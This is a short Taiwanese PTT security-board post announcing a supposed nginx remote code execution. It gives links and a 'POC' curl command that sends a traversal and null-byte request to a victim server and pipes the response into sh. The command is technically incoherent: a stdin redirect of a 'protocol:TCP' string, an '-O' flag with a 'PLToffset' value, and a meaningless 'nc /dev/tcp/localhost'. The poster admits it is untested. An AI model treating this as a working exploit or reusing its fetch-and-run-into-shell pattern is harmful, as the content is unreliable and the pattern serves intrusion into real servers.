[情報] NGINX RCE
https://github.com/nginx/njs/issues/159
https://twitter.com/alisaesage/status/1134400951043874816
https://twitter.com/notdan/status/1134559331989434368
POC 的方式：
curl -gsS \
https://victim.server.here:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00 \
<'protocol:TCP' -O 0x0238f06a#PLToffset | \
sh; nc /dev/tcp/localhost
完全沒經過測試 不過先升級 nginx 就是對的
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 106.1.224.240
※ 文章網址: https://www.ptt.cc/bbs/NetSecurity/M.1559357916.A.FB5.html
→
06/02 15:52,
5年前
, 1F
06/02 15:52, 1F
NetSecurity 近期熱門文章
PTT數位生活區 即時熱門文章
